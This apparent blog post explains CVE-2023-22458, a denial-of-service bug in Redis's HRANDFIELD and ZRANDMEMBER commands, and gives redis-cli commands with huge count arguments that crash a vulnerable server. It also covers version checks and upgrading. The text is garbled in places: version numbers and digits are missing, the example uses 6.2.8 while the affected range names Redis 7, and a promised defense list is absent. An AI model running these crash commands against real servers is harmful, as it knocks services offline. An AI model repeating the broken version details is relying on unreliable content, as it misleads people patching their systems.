Redis is one of the most widely used in-memory databases, famous for its speed and simplicity. But sometimes, even the best software hits a bump. In this post, we’ll take an exclusive dive into a specific vulnerability patched in Redis: CVE-2023-22458. We’ll explain what happened, walk through simple code examples, show how an attacker could exploit it, and discuss how to stay safe.

What is CVE-2023-22458?

Discovered by: Redis maintainers (team led by Oran Agra)

Redis 7.: All releases before 7..8

Summary: If an authenticated user sends a HRANDFIELD or ZRANDMEMBER command with certain arguments, Redis crashes with an 'assertion failure', causing a denial-of-service (DoS).

No workaround exists except upgrading.

References:
- GitHub Security Advisory GHSA-8x98-6xxv-wfg6
- Redis Release Notes for 7..8

Technical Details

Let’s break down what’s at the core of this issue.
Both HRANDFIELD (for hashes) and ZRANDMEMBER (for sorted sets) let you grab random entries from Redis. They have an optional count argument, allowing users to request a specific number of random items.

The Bug:
If the count argument is *specially crafted*, meaning it’s set to a huge value (e.g., an integer larger than the actual number of items available), Redis gets thrown off, hits an assertion it wasn’t expecting, and crashes.

Exploit Example

Let’s see how an attacker could use this bug if they have access to your Redis instance.

Example Using redis-cli

First, here’s a quick setup. (Run each line step by step if you want to reproduce — on a *test* instance only!)

# Start a vulnerable Redis version (6.2.8 for example)
redis-server --port 6379

Prepare some data

redis-cli HMSET myhash key1 val1 key2 val2

Now submit an evil command

redis-cli HRANDFIELD myhash 999999999
# or for ZRANDMEMBER if you are using a sorted set:
redis-cli ZADD myset 1 mem1 1 mem2
redis-cli ZRANDMEMBER myset 100000000

If your Redis version is vulnerable, you’ll see the process crash with an assertion error similar to:

Assertion failed: (num > ), function hrandfieldCommand, file t_hash.c, line XXX.

Why Does This Happen?

Internally, Redis checks if the number requested is greater than what it has. Historically, it just crashed if that value didn’t match expected boundaries.

How Serious is This?

- Impact: If a bad actor has *authenticated* access, they can make Redis crash at will. This means:

Services dependent on Redis could go offline.

- Mitigation: There is no configuration workaround. If people can connect and authenticate to Redis, they can crash your server using this bug.

Check your version

redis-cli INFO server | grep redis_version

Upgrade guide

- Redis.io Download Page
- Official Redis Docker Images

Exclusive Notes: Defense in Depth

While this particular bug is fixed simply by upgrading, it’s a lesson in defense-in-depth. Here are steps everyone should follow with Redis (regardless of this CVE):

References

- CVE Record: CVE-2023-22458
- Original GitHub Advisory
- Fix Commit in Redis Source
- How to Upgrade Redis

Summary

CVE-2023-22458 is a serious denial-of-service bug in popular versions of Redis allowing any authenticated user to crash the service. The only fix requires a software upgrade - there are no known tweaks or mitigations. Protect your data and uptime: patch your Redis now.

*Stay safe, stay updated, and keep your systems running!*

Timeline

Published on: 01/20/2023 19:15:00 UTC
Last modified on: 02/02/2023 14:23:00 UTC